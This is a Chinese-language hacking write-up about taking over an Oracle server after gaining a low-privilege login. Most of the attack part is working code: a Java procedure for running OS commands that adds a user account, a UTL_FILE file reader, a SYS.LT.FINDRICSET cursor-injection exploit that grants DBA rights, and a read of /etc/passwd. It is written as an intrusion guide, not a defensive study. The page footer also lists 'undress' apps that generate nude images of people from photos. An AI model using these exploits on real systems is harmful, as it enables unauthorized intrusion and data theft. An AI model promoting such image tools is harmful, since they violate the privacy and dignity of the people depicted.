入侵Oracle服务器进一步获取权限
很快便连接上Oracle服务器,此时发现: 1.连接后不是dba权限 2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_
很快便连接上Oracle服务器,此时发现:
1.连接后不是dba权限
2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限
3.运行SELECT UTL_HTTP.request(‘’) FROM dual 后发现oracle服务器不能连接网络。
幸运的是,
运行
create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;
成功!这个用户具有create proceduce权限。
此时马上想到创建java扩展执行命令:
create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+” “;myReader.close();return str;} catch (Exception e){return e.toString();}}}
begin dbms_java.grant_permission(‘PUBLIC’, ‘SYS:java.io.FilePermission’, ‘’, ‘execute’ );end;
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ‘LinxUtil.runCMD(java.lang.String) return String’
select * from all_objects where object_name like ‘%LINX%’
grant all on LinxRunCMD to public
select LinxRunCMD(‘cmd /c net user linx /add’) from dual
但是在第一步就卡住了,服务器由于某种未知原因 不能创建java扩展!!
还好,我们还有UTL库可以利用:
create or replace function LinxUTLReadfile (filename varchar2) return varchar2 is
fHandler UTL_FILE.FILE_TYPE;
buf varchar2(4000);
output varchar2(8000);
BEGIN
fHandler := UTL_FILE.FOPEN(‘UTL_FILE_DIR’, filename, ‘r’);
loop
begin
utl_file.get_line(fHandler,buf);
DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||buf);
exception
when no_data_found then exit;
end;
output := output||buf||chr(10);
end loop;
UTL_FILE.FCLOSE(fHandler);
return output;
END;
UTL_FILE_DIR需要先用:
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;
指定目。但运行后发现没有权限。只好想办法提权。
***************游标注射***************
老外写了N个pdf介绍这技术,,我精简了代码:
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,’declare pragma autonomous_transaction; begin execute immediate ”GRANT DBA TO linxlinx_current_db_user”;commit;end;’,0);
DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);
BEGIN SYS.LT.FINDRICSET(‘.”||dbms_sql.execute( ‘||MYC||’ )||””)–’,'x’); END;
raise NO_DATA_FOUND;
EXCEPTION
WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);
WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);
END;
运行后重新连接就有dba权限了,简单吧……
现在可以读取文件了:
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;
select LinxUTLReadfile(‘passwd’) from dual
后面就简单了,不写了。

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics











MySQL is an open source relational database management system, mainly used to store and retrieve data quickly and reliably. Its working principle includes client requests, query resolution, execution of queries and return results. Examples of usage include creating tables, inserting and querying data, and advanced features such as JOIN operations. Common errors involve SQL syntax, data types, and permissions, and optimization suggestions include the use of indexes, optimized queries, and partitioning of tables.

In Oracle, the FOR LOOP loop can create cursors dynamically. The steps are: 1. Define the cursor type; 2. Create the loop; 3. Create the cursor dynamically; 4. Execute the cursor; 5. Close the cursor. Example: A cursor can be created cycle-by-circuit to display the names and salaries of the top 10 employees.

MySQL is chosen for its performance, reliability, ease of use, and community support. 1.MySQL provides efficient data storage and retrieval functions, supporting multiple data types and advanced query operations. 2. Adopt client-server architecture and multiple storage engines to support transaction and query optimization. 3. Easy to use, supports a variety of operating systems and programming languages. 4. Have strong community support and provide rich resources and solutions.

When Oracle log files are full, the following solutions can be adopted: 1) Clean old log files; 2) Increase the log file size; 3) Increase the log file group; 4) Set up automatic log management; 5) Reinitialize the database. Before implementing any solution, it is recommended to back up the database to prevent data loss.

Oracle views can be exported through the EXP utility: Log in to the Oracle database. Start the EXP utility, specifying the view name and export directory. Enter export parameters, including target mode, file format, and tablespace. Start exporting. Verify the export using the impdp utility.

Oracle is not only a database company, but also a leader in cloud computing and ERP systems. 1. Oracle provides comprehensive solutions from database to cloud services and ERP systems. 2. OracleCloud challenges AWS and Azure, providing IaaS, PaaS and SaaS services. 3. Oracle's ERP systems such as E-BusinessSuite and FusionApplications help enterprises optimize operations.

Building a Hadoop Distributed File System (HDFS) on a CentOS system requires multiple steps. This article provides a brief configuration guide. 1. Prepare to install JDK in the early stage: Install JavaDevelopmentKit (JDK) on all nodes, and the version must be compatible with Hadoop. The installation package can be downloaded from the Oracle official website. Environment variable configuration: Edit /etc/profile file, set Java and Hadoop environment variables, so that the system can find the installation path of JDK and Hadoop. 2. Security configuration: SSH password-free login to generate SSH key: Use the ssh-keygen command on each node

MySQL is suitable for web applications and content management systems and is popular for its open source, high performance and ease of use. 1) Compared with PostgreSQL, MySQL performs better in simple queries and high concurrent read operations. 2) Compared with Oracle, MySQL is more popular among small and medium-sized enterprises because of its open source and low cost. 3) Compared with Microsoft SQL Server, MySQL is more suitable for cross-platform applications. 4) Unlike MongoDB, MySQL is more suitable for structured data and transaction processing.
